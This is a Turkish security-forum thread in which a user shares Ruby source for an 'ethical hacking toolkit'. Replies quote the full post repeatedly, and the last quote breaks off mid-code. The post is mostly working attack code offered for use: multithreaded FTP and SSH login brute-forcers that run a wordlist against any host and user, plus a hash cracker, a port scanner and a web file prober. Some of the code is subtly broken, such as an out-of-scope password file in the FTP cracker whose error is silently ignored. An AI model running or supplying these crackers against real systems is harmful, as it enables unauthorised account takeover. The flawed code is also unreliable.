Siber Güvenlik Araçları Nasıl Kodlanır? [Eğitim]

Bunjo

Uzman üye
14 Ara 2020
1,592
1,889
I Won
Merhaba, siber güvenlik araçları yazma konusunda ilgi duyan ve bu konuda kaynak bulmakta zorlananlara yardımcı olabilmek amacıyla hazırladığım bu kaynağı sizinle paylaşmak istiyorum. Bilgi güvenliği alanında yetenek kazanmak ve kendi özel araçlarınızı geliştirmek, siber güvenlik dünyasında önemli bir adım olabilir.

Bu kaynak, temel siber güvenlik kavramlarından başlayarak, programlama dilleri, ağ güvenliği, kriptografi ve saldırı tespiti gibi konulara uzanarak geniş bir yelpazede bilgi sunmaktadır. Her bir aracın nasıl yazılacağını adım adım anlatan uygulamalı örneklerle, konuları daha iyi anlamanıza ve kendi becerilerinizi geliştirmenize olanak tanımaktadır.

Ayrıca, projem sürekli güncellenmekte olup yeni konular ve dillerle ilgili örnekler eklenmektedir.


İçerik:

1. Banner Grabber
2. FTP Cracker
3. Hash Cracker
4. Hash Generator
5. Host to IP
6. Index Stealer
7. Port Scan (Güncellenmiş)
8. Random Password Generator
9. SSH Cracker
10. Website File Scanner
11. Whois


GitHub Linki: GitHub - thebunjo/ethical-hacking-toolkit: a simple ethical hacking toolkit

Not: Bu kaynak sürekli olarak güncellenecek ve yakın zamanda farklı dillerde yeni araçların yazımları da eklenmiş olacaktır.

FTP Cracker:


Ruby:
require 'net/ftp'

# Find the index of command line flags.
ftp_host_flag = ARGV.index("-host")
ftp_username_flag = ARGV.index("-username")
ftp_password_path_flag = ARGV.index("-wordlist")
ftp_port_flag = ARGV.index("-port")

# Check if all required flags are provided.
if !ftp_host_flag || !ftp_username_flag || !ftp_password_path_flag || !ftp_port_flag
  # Print a usage message and exit with an error code (1) if any required flag is missing.
  puts "Usage: ruby ruby_ftp_cracker.rb -host the_host -username the_username -wordlist the_wordlist_path -port the_port"
  exit(1)
end

# Threads list
threads = []

# Extract and store the values of the provided flags.
ftp_host = ARGV[ftp_host_flag + 1].to_s
ftp_username = ARGV[ftp_username_flag + 1].to_s
ftp_wordlist = ARGV[ftp_password_path_flag + 1].to_s
ftp_port = ARGV[ftp_port_flag + 1].to_i

# Open the password file for reading.
passwords = File.open(ftp_wordlist, 'r')

# Create a mutex for thread synchronization
mutex = Mutex.new

$status = false

# Define a function to start cracking for each password
def start_crack(ftp_host, ftp_username, ftp_password, ftp_port, mutex)
  begin
    # Create a new FTP connection for each password attempt.
    ftp = Net::FTP.new
    ftp.connect(ftp_host, ftp_port)
    ftp.login(ftp_username, ftp_password)
    puts "Password cracked: #{ftp_password}"
    $status = true
  rescue Net::FTPPermError
    # Handle FTP permission error (incorrect password) silently.
  ensure
    ftp.close if ftp
    mutex.synchronize do
      next_password = passwords.gets
      if next_password.nil?
        $passwords_closed = true
      end
    end
  end
end

# Start the cracking process in multiple threads
num_threads = 5 # You can adjust the number of threads as needed

$passwords_closed = false

num_threads.times do
  threads << Thread.new do
    while true
      password = nil # password değişkenini tanımlayın
      mutex.synchronize do
        if $passwords_closed
          break
        else
          password = passwords.gets
        end
      end
      break if password.nil? # Exit the thread if there are no more passwords
      password.chomp!
      begin
        start_crack(ftp_host, ftp_username, password, ftp_port, mutex)
      rescue Exception => e
        # Yakalanan hataları görmezden gel.
      end
    end
  end
end

# Join threads
threads.each(&:join)

if !$status
  puts "Password not found."
end

# Close the password file.
passwords.close


Port Scanner:

Ruby:
require 'socket'

def port_scan(host, port, timeout_seconds = 1)
  socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
  sockaddr = Socket.sockaddr_in(port, host)

  begin
    socket.connect_nonblock(sockaddr)
    puts "#{port} Open."
  rescue IO::WaitWritable
    IO.select(nil, [socket], nil, timeout_seconds)
    retry
  rescue Errno::EISCONN
    puts "#{port} Open."
  rescue Errno::ECONNREFUSED
    puts "#{port} Closed (Error: Connection refused)."
  rescue Errno::ETIMEDOUT
    puts "#{port} Closed (Error: Connection timed out)."
  rescue Errno::EHOSTUNREACH
    puts "#{port} Closed (Error: Host unreachable)."
  rescue Errno::ENETUNREACH
    puts "#{port} Closed (Error: Network unreachable)."
  rescue Errno::EINVAL
    puts "#{port} Closed (Error: Invalid argument)."
  rescue Exception => e
    puts "#{port} closed: #{e.message}"
  ensure
    socket&.close
  end
end

def port_scan_with_threads(host, port_list, timeout_seconds = 1)
  threads = []

  port_list.each do |port|
    threads << Thread.new { port_scan(host, port, timeout_seconds) }
  end

  threads.each(&:join)
end

host = 'target.com'
port_list = [21, 22, 23, 25, 53, 80, 139, 443, 445, 3306, 8080, 3389, 5900, 8081]

port_scan_with_threads(host, port_list, 1)

Hash Cracker:

Ruby:
threads = []

if ARGV.length != 3
  puts "Usage example: ruby ruby_hash_cracker.rb md5 wordlist.txt hash"
  exit(1)
end

require 'digest'

$algorithm = ARGV[0].to_s.upcase
$pass_path = ARGV[1].to_s
$hash = ARGV[2].to_s

if !File.exist?($pass_path)
  puts "Password dont found."
  exit(1)
end

found = false

def crack
  File.open($pass_path, "r") do |file|
      puts "Cracking..."
      file.each_line do |line|
        pass = line.chomp
        try_pass = Digest.const_get($algorithm).hexdigest(pass)
        if try_pass == $hash
          puts "Cracked: #{$hash}:#{pass}"
          found = true
          break
        end
      end
  end
end

threads << Thread.new do
  crack
end

threads.each(&:join)

Banner Grabber:

Ruby:
require 'socket'

puts "Usage: ruby ruby_banner_grabber.rb google.com 80."

host = ARGV[0]
port = ARGV[1]

sock = TCPSocket.new(host, port)
sock.puts("GET / HTTP/1.1\r\n\r\n")

while line = sock.gets do
  puts line.chop
end
sock.close

Host To IP:

Ruby:
require 'socket'

print "Enter a hostname (e.g., www.example.com): "
hostname = gets.chomp

begin
  ip_address = Socket.getaddrinfo(hostname, nil)[0][3]
  puts "IP Address for #{hostname}: #{ip_address}"
rescue SocketError => e
  puts "Error: #{e}"
end

Hash Generator:

Ruby:
require 'digest'

puts "Available Hashing Algorithms:"
puts "1. MD5"
puts "2. SHA-1"
puts "3. SHA-256"
puts "4. SHA-384"
puts "5. SHA-512"

begin
  print "Select an algorithm (1-5): "
  choice = gets.chomp.to_i

  unless (1..5).include?(choice)
    raise "Invalid choice. Please select a valid option."
  end

  print "Enter text: "
  text = gets.chomp.to_s

rescue StandardError => e
  puts "Error: #{e.message}"
  exit
end

algorithm = case choice
            when 1
              "MD5"
            when 2
              "SHA1"
            when 3
              "SHA256"
            when 4
              "SHA384"
            when 5
              "SHA512"
            end

hash = Digest::const_get(algorithm).hexdigest(text)

puts "Hash (#{algorithm}): #{hash}"

Website File Scanner:

Ruby:
require 'net/http'

def scan(url, file)
  uri = URI.parse(url + file)

  scan_thread = Thread.new do
    response = Net::HTTP.get_response(uri)

    case response.code
    when "200"
      puts "[+] Found: #{uri}"
    when "403"
      puts "[?] Forbidden: #{uri}"
    when "400"
      puts "[-] Bad request: #{uri}"
    when "401"
      puts "[-] Unauthorized: #{uri}"
    when "500"
      puts "[-] Internal server error: #{uri}"
    when "204"
      puts "[-] No Content"
    when "404"
      puts "[-] Not found: #{uri}"
    end
  end

  scan_thread
end

threads = []
url = ARGV[0].to_s
files = ["/index.html", "/secret_file.txt", "/robots.txt", "/humans.txt", "/sitemap.xml", "/favicon.ico", "/apple-touch-icon.png", "/manifest.json"]
files.each { |file| threads << scan(url, file) }
threads.each(&:join)

Index Stealer:

Ruby:
require 'net/http'

print "Target (ex: http://url.com/): "
url = gets.chomp

uri = URI(url)
response = Net::HTTP.get_response(uri)

if response.code == "200"
  File.open('index.html', 'w') do |file|
    file.write(response.body)
    puts response.body
  end
end

SSH Cracker:

Ruby:
#!/usr/bin/ruby

require 'net/ssh'
require 'pp'
require 'colorize'

class CrackSSH
  attr_accessor :debug, :host, :user, :passwordfile, :port

  def initialize
    @passwordfile = nil
    @host = nil
    @user = nil
    @port = nil
  end

  def crack
    raise "Please Enter Any Username" if @user.nil?
    raise "Please Enter Any Host" if @host.nil?
    raise "Please Enter Any Password File" if @passwordfile.nil?
    raise "Please Enter Any Port Number" if @port.nil?

    file = File.open(@passwordfile)

    file.each do |pw|
      password = pw.strip
      printf "%s@%s:%s", @user, @host, password
      if crack_host(@host, @user, password)
        puts " => " + "[+] Found".green
        exit
      else
        puts " => " + "[-] False".red
      end
    end

  rescue RuntimeError => e
    puts e.message
  end

  def crack_host(host, user, pass)
    Net::SSH.start(host, user, :password => pass, :timeout => 0.3, :port => @port) do |ssh|
      ssh.exec!("hostname")
    end
    return true
  rescue => e
    stderr.puts e.message unless @debug.nil?
    return false
  end

  def run
    crack
  end
end

if $0 == __FILE__
  bf = CrackSSH.new

  # Argümanları işleme
  while ARGV.length > 0
    case ARGV[0]
    when "--host"
      bf.host = ARGV[1]
    when "--username"
      bf.user = ARGV[1]
    when "--file"
      bf.passwordfile = ARGV[1]
    when "--port"
      bf.port = ARGV[1]
    end

    ARGV.shift(2)
  end

  bf.run
end

Whois:

Ruby:
require 'whois'

puts "Enter URL:"
url = gets.chomp

begin
  info = Whois.whois(url)
  puts info
rescue Whois::Error => e
  puts "An error occurred: #{e.message}"
end

Kaynaktan verebileceğim örnekler bu kadardır. Ukala yorumlar atacak olan arkadaşlar için bunu şimdiden söylüyorum her şey eğitim amaçlıdır, bu programlara göz atıp fikirler edinebilir ve edindiğiniz fikirleri bu programlar aracılığı ile yeni projeler haline getirebilirsiniz. Teşekkür ederim.
 

Çokgen

Katılımcı Üye
4 Eyl 2023
414
195
Merhaba, siber güvenlik araçları yazma konusunda ilgi duyan ve bu konuda kaynak bulmakta zorlananlara yardımcı olabilmek amacıyla hazırladığım bu kaynağı sizinle paylaşmak istiyorum. Bilgi güvenliği alanında yetenek kazanmak ve kendi özel araçlarınızı geliştirmek, siber güvenlik dünyasında önemli bir adım olabilir.

Bu kaynak, temel siber güvenlik kavramlarından başlayarak, programlama dilleri, ağ güvenliği, kriptografi ve saldırı tespiti gibi konulara uzanarak geniş bir yelpazede bilgi sunmaktadır. Her bir aracın nasıl yazılacağını adım adım anlatan uygulamalı örneklerle, konuları daha iyi anlamanıza ve kendi becerilerinizi geliştirmenize olanak tanımaktadır.

Ayrıca, projem sürekli güncellenmekte olup yeni konular ve dillerle ilgili örnekler eklenmektedir.


İçerik:

1. Banner Grabber
2. FTP Cracker
3. Hash Cracker
4. Hash Generator
5. Host to IP
6. Index Stealer
7. Port Scan (Güncellenmiş)
8. Random Password Generator
9. SSH Cracker
10. Website File Scanner
11. Whois


GitHub Linki: GitHub - thebunjo/ethical-hacking-toolkit: a simple ethical hacking toolkit

Not: Bu kaynak sürekli olarak güncellenecek ve yakın zamanda farklı dillerde yeni araçların yazımları da eklenmiş olacaktır.

FTP Cracker:


Ruby:
require 'net/ftp'

# Find the index of command line flags.
ftp_host_flag = ARGV.index("-host")
ftp_username_flag = ARGV.index("-username")
ftp_password_path_flag = ARGV.index("-wordlist")
ftp_port_flag = ARGV.index("-port")

# Check if all required flags are provided.
if !ftp_host_flag || !ftp_username_flag || !ftp_password_path_flag || !ftp_port_flag
  # Print a usage message and exit with an error code (1) if any required flag is missing.
  puts "Usage: ruby ruby_ftp_cracker.rb -host the_host -username the_username -wordlist the_wordlist_path -port the_port"
  exit(1)
end

# Threads list
threads = []

# Extract and store the values of the provided flags.
ftp_host = ARGV[ftp_host_flag + 1].to_s
ftp_username = ARGV[ftp_username_flag + 1].to_s
ftp_wordlist = ARGV[ftp_password_path_flag + 1].to_s
ftp_port = ARGV[ftp_port_flag + 1].to_i

# Open the password file for reading.
passwords = File.open(ftp_wordlist, 'r')

# Create a mutex for thread synchronization
mutex = Mutex.new

$status = false

# Define a function to start cracking for each password
def start_crack(ftp_host, ftp_username, ftp_password, ftp_port, mutex)
  begin
    # Create a new FTP connection for each password attempt.
    ftp = Net::FTP.new
    ftp.connect(ftp_host, ftp_port)
    ftp.login(ftp_username, ftp_password)
    puts "Password cracked: #{ftp_password}"
    $status = true
  rescue Net::FTPPermError
    # Handle FTP permission error (incorrect password) silently.
  ensure
    ftp.close if ftp
    mutex.synchronize do
      next_password = passwords.gets
      if next_password.nil?
        $passwords_closed = true
      end
    end
  end
end

# Start the cracking process in multiple threads
num_threads = 5 # You can adjust the number of threads as needed

$passwords_closed = false

num_threads.times do
  threads << Thread.new do
    while true
      password = nil # password değişkenini tanımlayın
      mutex.synchronize do
        if $passwords_closed
          break
        else
          password = passwords.gets
        end
      end
      break if password.nil? # Exit the thread if there are no more passwords
      password.chomp!
      begin
        start_crack(ftp_host, ftp_username, password, ftp_port, mutex)
      rescue Exception => e
        # Yakalanan hataları görmezden gel.
      end
    end
  end
end

# Join threads
threads.each(&:join)

if !$status
  puts "Password not found."
end

# Close the password file.
passwords.close


Port Scanner:

Ruby:
require 'socket'

def port_scan(host, port, timeout_seconds = 1)
  socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
  sockaddr = Socket.sockaddr_in(port, host)

  begin
    socket.connect_nonblock(sockaddr)
    puts "#{port} Open."
  rescue IO::WaitWritable
    IO.select(nil, [socket], nil, timeout_seconds)
    retry
  rescue Errno::EISCONN
    puts "#{port} Open."
  rescue Errno::ECONNREFUSED
    puts "#{port} Closed (Error: Connection refused)."
  rescue Errno::ETIMEDOUT
    puts "#{port} Closed (Error: Connection timed out)."
  rescue Errno::EHOSTUNREACH
    puts "#{port} Closed (Error: Host unreachable)."
  rescue Errno::ENETUNREACH
    puts "#{port} Closed (Error: Network unreachable)."
  rescue Errno::EINVAL
    puts "#{port} Closed (Error: Invalid argument)."
  rescue Exception => e
    puts "#{port} closed: #{e.message}"
  ensure
    socket&.close
  end
end

def port_scan_with_threads(host, port_list, timeout_seconds = 1)
  threads = []

  port_list.each do |port|
    threads << Thread.new { port_scan(host, port, timeout_seconds) }
  end

  threads.each(&:join)
end

host = 'target.com'
port_list = [21, 22, 23, 25, 53, 80, 139, 443, 445, 3306, 8080, 3389, 5900, 8081]

port_scan_with_threads(host, port_list, 1)

Hash Cracker:

Ruby:
threads = []

if ARGV.length != 3
  puts "Usage example: ruby ruby_hash_cracker.rb md5 wordlist.txt hash"
  exit(1)
end

require 'digest'

$algorithm = ARGV[0].to_s.upcase
$pass_path = ARGV[1].to_s
$hash = ARGV[2].to_s

if !File.exist?($pass_path)
  puts "Password dont found."
  exit(1)
end

found = false

def crack
  File.open($pass_path, "r") do |file|
      puts "Cracking..."
      file.each_line do |line|
        pass = line.chomp
        try_pass = Digest.const_get($algorithm).hexdigest(pass)
        if try_pass == $hash
          puts "Cracked: #{$hash}:#{pass}"
          found = true
          break
        end
      end
  end
end

threads << Thread.new do
  crack
end

threads.each(&:join)

Banner Grabber:

Ruby:
require 'socket'

puts "Usage: ruby ruby_banner_grabber.rb google.com 80."

host = ARGV[0]
port = ARGV[1]

sock = TCPSocket.new(host, port)
sock.puts("GET / HTTP/1.1\r\n\r\n")

while line = sock.gets do
  puts line.chop
end
sock.close

Host To IP:

Ruby:
require 'socket'

print "Enter a hostname (e.g., www.example.com): "
hostname = gets.chomp

begin
  ip_address = Socket.getaddrinfo(hostname, nil)[0][3]
  puts "IP Address for #{hostname}: #{ip_address}"
rescue SocketError => e
  puts "Error: #{e}"
end

Hash Generator:

Ruby:
require 'digest'

puts "Available Hashing Algorithms:"
puts "1. MD5"
puts "2. SHA-1"
puts "3. SHA-256"
puts "4. SHA-384"
puts "5. SHA-512"

begin
  print "Select an algorithm (1-5): "
  choice = gets.chomp.to_i

  unless (1..5).include?(choice)
    raise "Invalid choice. Please select a valid option."
  end

  print "Enter text: "
  text = gets.chomp.to_s

rescue StandardError => e
  puts "Error: #{e.message}"
  exit
end

algorithm = case choice
            when 1
              "MD5"
            when 2
              "SHA1"
            when 3
              "SHA256"
            when 4
              "SHA384"
            when 5
              "SHA512"
            end

hash = Digest::const_get(algorithm).hexdigest(text)

puts "Hash (#{algorithm}): #{hash}"

Website File Scanner:

Ruby:
require 'net/http'

def scan(url, file)
  uri = URI.parse(url + file)

  scan_thread = Thread.new do
    response = Net::HTTP.get_response(uri)

    case response.code
    when "200"
      puts "[+] Found: #{uri}"
    when "403"
      puts "[?] Forbidden: #{uri}"
    when "400"
      puts "[-] Bad request: #{uri}"
    when "401"
      puts "[-] Unauthorized: #{uri}"
    when "500"
      puts "[-] Internal server error: #{uri}"
    when "204"
      puts "[-] No Content"
    when "404"
      puts "[-] Not found: #{uri}"
    end
  end

  scan_thread
end

threads = []
url = ARGV[0].to_s
files = ["/index.html", "/secret_file.txt", "/robots.txt", "/humans.txt", "/sitemap.xml", "/favicon.ico", "/apple-touch-icon.png", "/manifest.json"]
files.each { |file| threads << scan(url, file) }
threads.each(&:join)

Index Stealer:

Ruby:
require 'net/http'

print "Target (ex: http://url.com/): "
url = gets.chomp

uri = URI(url)
response = Net::HTTP.get_response(uri)

if response.code == "200"
  File.open('index.html', 'w') do |file|
    file.write(response.body)
    puts response.body
  end
end

SSH Cracker:

Ruby:
#!/usr/bin/ruby

require 'net/ssh'
require 'pp'
require 'colorize'

class CrackSSH
  attr_accessor :debug, :host, :user, :passwordfile, :port

  def initialize
    @passwordfile = nil
    @host = nil
    @user = nil
    @port = nil
  end

  def crack
    raise "Please Enter Any Username" if @user.nil?
    raise "Please Enter Any Host" if @host.nil?
    raise "Please Enter Any Password File" if @passwordfile.nil?
    raise "Please Enter Any Port Number" if @port.nil?

    file = File.open(@passwordfile)

    file.each do |pw|
      password = pw.strip
      printf "%s@%s:%s", @user, @host, password
      if crack_host(@host, @user, password)
        puts " => " + "[+] Found".green
        exit
      else
        puts " => " + "[-] False".red
      end
    end

  rescue RuntimeError => e
    puts e.message
  end

  def crack_host(host, user, pass)
    Net::SSH.start(host, user, :password => pass, :timeout => 0.3, :port => @port) do |ssh|
      ssh.exec!("hostname")
    end
    return true
  rescue => e
    stderr.puts e.message unless @debug.nil?
    return false
  end

  def run
    crack
  end
end

if $0 == __FILE__
  bf = CrackSSH.new

  # Argümanları işleme
  while ARGV.length > 0
    case ARGV[0]
    when "--host"
      bf.host = ARGV[1]
    when "--username"
      bf.user = ARGV[1]
    when "--file"
      bf.passwordfile = ARGV[1]
    when "--port"
      bf.port = ARGV[1]
    end

    ARGV.shift(2)
  end

  bf.run
end

Whois:

Ruby:
require 'whois'

puts "Enter URL:"
url = gets.chomp

begin
  info = Whois.whois(url)
  puts info
rescue Whois::Error => e
  puts "An error occurred: #{e.message}"
end

Kaynaktan verebileceğim örnekler bu kadardır. Ukala yorumlar atacak olan arkadaşlar için bunu şimdiden söylüyorum her şey eğitim amaçlıdır, bu programlara göz atıp fikirler edinebilir ve edindiğiniz fikirleri bu programlar aracılığı ile yeni projeler haline getirebilirsiniz. Teşekkür ederim.
Ellerinize sağlık
 

gyakdvani

Katılımcı Üye
9 Kas 2021
432
354
POSITION ERROR
Merhaba, siber güvenlik araçları yazma konusunda ilgi duyan ve bu konuda kaynak bulmakta zorlananlara yardımcı olabilmek amacıyla hazırladığım bu kaynağı sizinle paylaşmak istiyorum. Bilgi güvenliği alanında yetenek kazanmak ve kendi özel araçlarınızı geliştirmek, siber güvenlik dünyasında önemli bir adım olabilir.

Bu kaynak, temel siber güvenlik kavramlarından başlayarak, programlama dilleri, ağ güvenliği, kriptografi ve saldırı tespiti gibi konulara uzanarak geniş bir yelpazede bilgi sunmaktadır. Her bir aracın nasıl yazılacağını adım adım anlatan uygulamalı örneklerle, konuları daha iyi anlamanıza ve kendi becerilerinizi geliştirmenize olanak tanımaktadır.

Ayrıca, projem sürekli güncellenmekte olup yeni konular ve dillerle ilgili örnekler eklenmektedir.


İçerik:

1. Banner Grabber
2. FTP Cracker
3. Hash Cracker
4. Hash Generator
5. Host to IP
6. Index Stealer
7. Port Scan (Güncellenmiş)
8. Random Password Generator
9. SSH Cracker
10. Website File Scanner
11. Whois


GitHub Linki: GitHub - thebunjo/ethical-hacking-toolkit: a simple ethical hacking toolkit

Not: Bu kaynak sürekli olarak güncellenecek ve yakın zamanda farklı dillerde yeni araçların yazımları da eklenmiş olacaktır.

FTP Cracker:


Ruby:
require 'net/ftp'

# Find the index of command line flags.
ftp_host_flag = ARGV.index("-host")
ftp_username_flag = ARGV.index("-username")
ftp_password_path_flag = ARGV.index("-wordlist")
ftp_port_flag = ARGV.index("-port")

# Check if all required flags are provided.
if !ftp_host_flag || !ftp_username_flag || !ftp_password_path_flag || !ftp_port_flag
  # Print a usage message and exit with an error code (1) if any required flag is missing.
  puts "Usage: ruby ruby_ftp_cracker.rb -host the_host -username the_username -wordlist the_wordlist_path -port the_port"
  exit(1)
end

# Threads list
threads = []

# Extract and store the values of the provided flags.
ftp_host = ARGV[ftp_host_flag + 1].to_s
ftp_username = ARGV[ftp_username_flag + 1].to_s
ftp_wordlist = ARGV[ftp_password_path_flag + 1].to_s
ftp_port = ARGV[ftp_port_flag + 1].to_i

# Open the password file for reading.
passwords = File.open(ftp_wordlist, 'r')

# Create a mutex for thread synchronization
mutex = Mutex.new

$status = false

# Define a function to start cracking for each password
def start_crack(ftp_host, ftp_username, ftp_password, ftp_port, mutex)
  begin
    # Create a new FTP connection for each password attempt.
    ftp = Net::FTP.new
    ftp.connect(ftp_host, ftp_port)
    ftp.login(ftp_username, ftp_password)
    puts "Password cracked: #{ftp_password}"
    $status = true
  rescue Net::FTPPermError
    # Handle FTP permission error (incorrect password) silently.
  ensure
    ftp.close if ftp
    mutex.synchronize do
      next_password = passwords.gets
      if next_password.nil?
        $passwords_closed = true
      end
    end
  end
end

# Start the cracking process in multiple threads
num_threads = 5 # You can adjust the number of threads as needed

$passwords_closed = false

num_threads.times do
  threads << Thread.new do
    while true
      password = nil # password değişkenini tanımlayın
      mutex.synchronize do
        if $passwords_closed
          break
        else
          password = passwords.gets
        end
      end
      break if password.nil? # Exit the thread if there are no more passwords
      password.chomp!
      begin
        start_crack(ftp_host, ftp_username, password, ftp_port, mutex)
      rescue Exception => e
        # Yakalanan hataları görmezden gel.
      end
    end
  end
end

# Join threads
threads.each(&:join)

if !$status
  puts "Password not found."
end

# Close the password file.
passwords.close


Port Scanner:

Ruby:
require 'socket'

def port_scan(host, port, timeout_seconds = 1)
  socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
  sockaddr = Socket.sockaddr_in(port, host)

  begin
    socket.connect_nonblock(sockaddr)
    puts "#{port} Open."
  rescue IO::WaitWritable
    IO.select(nil, [socket], nil, timeout_seconds)
    retry
  rescue Errno::EISCONN
    puts "#{port} Open."
  rescue Errno::ECONNREFUSED
    puts "#{port} Closed (Error: Connection refused)."
  rescue Errno::ETIMEDOUT
    puts "#{port} Closed (Error: Connection timed out)."
  rescue Errno::EHOSTUNREACH
    puts "#{port} Closed (Error: Host unreachable)."
  rescue Errno::ENETUNREACH
    puts "#{port} Closed (Error: Network unreachable)."
  rescue Errno::EINVAL
    puts "#{port} Closed (Error: Invalid argument)."
  rescue Exception => e
    puts "#{port} closed: #{e.message}"
  ensure
    socket&.close
  end
end

def port_scan_with_threads(host, port_list, timeout_seconds = 1)
  threads = []

  port_list.each do |port|
    threads << Thread.new { port_scan(host, port, timeout_seconds) }
  end

  threads.each(&:join)
end

host = 'target.com'
port_list = [21, 22, 23, 25, 53, 80, 139, 443, 445, 3306, 8080, 3389, 5900, 8081]

port_scan_with_threads(host, port_list, 1)

Hash Cracker:

Ruby:
threads = []

if ARGV.length != 3
  puts "Usage example: ruby ruby_hash_cracker.rb md5 wordlist.txt hash"
  exit(1)
end

require 'digest'

$algorithm = ARGV[0].to_s.upcase
$pass_path = ARGV[1].to_s
$hash = ARGV[2].to_s

if !File.exist?($pass_path)
  puts "Password dont found."
  exit(1)
end

found = false

def crack
  File.open($pass_path, "r") do |file|
      puts "Cracking..."
      file.each_line do |line|
        pass = line.chomp
        try_pass = Digest.const_get($algorithm).hexdigest(pass)
        if try_pass == $hash
          puts "Cracked: #{$hash}:#{pass}"
          found = true
          break
        end
      end
  end
end

threads << Thread.new do
  crack
end

threads.each(&:join)

Banner Grabber:

Ruby:
require 'socket'

puts "Usage: ruby ruby_banner_grabber.rb google.com 80."

host = ARGV[0]
port = ARGV[1]

sock = TCPSocket.new(host, port)
sock.puts("GET / HTTP/1.1\r\n\r\n")

while line = sock.gets do
  puts line.chop
end
sock.close

Host To IP:

Ruby:
require 'socket'

print "Enter a hostname (e.g., www.example.com): "
hostname = gets.chomp

begin
  ip_address = Socket.getaddrinfo(hostname, nil)[0][3]
  puts "IP Address for #{hostname}: #{ip_address}"
rescue SocketError => e
  puts "Error: #{e}"
end

Hash Generator:

Ruby:
require 'digest'

puts "Available Hashing Algorithms:"
puts "1. MD5"
puts "2. SHA-1"
puts "3. SHA-256"
puts "4. SHA-384"
puts "5. SHA-512"

begin
  print "Select an algorithm (1-5): "
  choice = gets.chomp.to_i

  unless (1..5).include?(choice)
    raise "Invalid choice. Please select a valid option."
  end

  print "Enter text: "
  text = gets.chomp.to_s

rescue StandardError => e
  puts "Error: #{e.message}"
  exit
end

algorithm = case choice
            when 1
              "MD5"
            when 2
              "SHA1"
            when 3
              "SHA256"
            when 4
              "SHA384"
            when 5
              "SHA512"
            end

hash = Digest::const_get(algorithm).hexdigest(text)

puts "Hash (#{algorithm}): #{hash}"

Website File Scanner:

Ruby:
require 'net/http'

def scan(url, file)
  uri = URI.parse(url + file)

  scan_thread = Thread.new do
    response = Net::HTTP.get_response(uri)

    case response.code
    when "200"
      puts "[+] Found: #{uri}"
    when "403"
      puts "[?] Forbidden: #{uri}"
    when "400"
      puts "[-] Bad request: #{uri}"
    when "401"
      puts "[-] Unauthorized: #{uri}"
    when "500"
      puts "[-] Internal server error: #{uri}"
    when "204"
      puts "[-] No Content"
    when "404"
      puts "[-] Not found: #{uri}"
    end
  end

  scan_thread
end

threads = []
url = ARGV[0].to_s
files = ["/index.html", "/secret_file.txt", "/robots.txt", "/humans.txt", "/sitemap.xml", "/favicon.ico", "/apple-touch-icon.png", "/manifest.json"]
files.each { |file| threads << scan(url, file) }
threads.each(&:join)

Index Stealer:

Ruby:
require 'net/http'

print "Target (ex: http://url.com/): "
url = gets.chomp

uri = URI(url)
response = Net::HTTP.get_response(uri)

if response.code == "200"
  File.open('index.html', 'w') do |file|
    file.write(response.body)
    puts response.body
  end
end

SSH Cracker:

Ruby:
#!/usr/bin/ruby

require 'net/ssh'
require 'pp'
require 'colorize'

class CrackSSH
  attr_accessor :debug, :host, :user, :passwordfile, :port

  def initialize
    @passwordfile = nil
    @host = nil
    @user = nil
    @port = nil
  end

  def crack
    raise "Please Enter Any Username" if @user.nil?
    raise "Please Enter Any Host" if @host.nil?
    raise "Please Enter Any Password File" if @passwordfile.nil?
    raise "Please Enter Any Port Number" if @port.nil?

    file = File.open(@passwordfile)

    file.each do |pw|
      password = pw.strip
      printf "%s@%s:%s", @user, @host, password
      if crack_host(@host, @user, password)
        puts " => " + "[+] Found".green
        exit
      else
        puts " => " + "[-] False".red
      end
    end

  rescue RuntimeError => e
    puts e.message
  end

  def crack_host(host, user, pass)
    Net::SSH.start(host, user, :password => pass, :timeout => 0.3, :port => @port) do |ssh|
      ssh.exec!("hostname")
    end
    return true
  rescue => e
    stderr.puts e.message unless @debug.nil?
    return false
  end

  def run
    crack
  end
end

if $0 == __FILE__
  bf = CrackSSH.new

  # Argümanları işleme
  while ARGV.length > 0
    case ARGV[0]
    when "--host"
      bf.host = ARGV[1]
    when "--username"
      bf.user = ARGV[1]
    when "--file"
      bf.passwordfile = ARGV[1]
    when "--port"
      bf.port = ARGV[1]
    end

    ARGV.shift(2)
  end

  bf.run
end

Whois:

Ruby:
require 'whois'

puts "Enter URL:"
url = gets.chomp

begin
  info = Whois.whois(url)
  puts info
rescue Whois::Error => e
  puts "An error occurred: #{e.message}"
end

Kaynaktan verebileceğim örnekler bu kadardır. Ukala yorumlar atacak olan arkadaşlar için bunu şimdiden söylüyorum her şey eğitim amaçlıdır, bu programlara göz atıp fikirler edinebilir ve edindiğiniz fikirleri bu programlar aracılığı ile yeni projeler haline getirebilirsiniz. Teşekkür ederim.
Ellerinize sağlık.
 

devil777

Yeni üye
10 Ağu 2023
1
0
Merhaba, siber güvenlik araçları yazma konusunda ilgi duyan ve bu konuda kaynak bulmakta zorlananlara yardımcı olabilmek amacıyla hazırladığım bu kaynağı sizinle paylaşmak istiyorum. Bilgi güvenliği alanında yetenek kazanmak ve kendi özel araçlarınızı geliştirmek, siber güvenlik dünyasında önemli bir adım olabilir.

Bu kaynak, temel siber güvenlik kavramlarından başlayarak, programlama dilleri, ağ güvenliği, kriptografi ve saldırı tespiti gibi konulara uzanarak geniş bir yelpazede bilgi sunmaktadır. Her bir aracın nasıl yazılacağını adım adım anlatan uygulamalı örneklerle, konuları daha iyi anlamanıza ve kendi becerilerinizi geliştirmenize olanak tanımaktadır.

Ayrıca, projem sürekli güncellenmekte olup yeni konular ve dillerle ilgili örnekler eklenmektedir.


İçerik:

1. Banner Grabber
2. FTP Cracker
3. Hash Cracker
4. Hash Generator
5. Host to IP
6. Index Stealer
7. Port Scan (Güncellenmiş)
8. Random Password Generator
9. SSH Cracker
10. Website File Scanner
11. Whois


GitHub Linki: GitHub - thebunjo/ethical-hacking-toolkit: a simple ethical hacking toolkit

Not: Bu kaynak sürekli olarak güncellenecek ve yakın zamanda farklı dillerde yeni araçların yazımları da eklenmiş olacaktır.

FTP Cracker:


Ruby:
require 'net/ftp'

# Find the index of command line flags.
ftp_host_flag = ARGV.index("-host")
ftp_username_flag = ARGV.index("-username")
ftp_password_path_flag = ARGV.index("-wordlist")
ftp_port_flag = ARGV.index("-port")

# Check if all required flags are provided.
if !ftp_host_flag || !ftp_username_flag || !ftp_password_path_flag || !ftp_port_flag
  # Print a usage message and exit with an error code (1) if any required flag is missing.
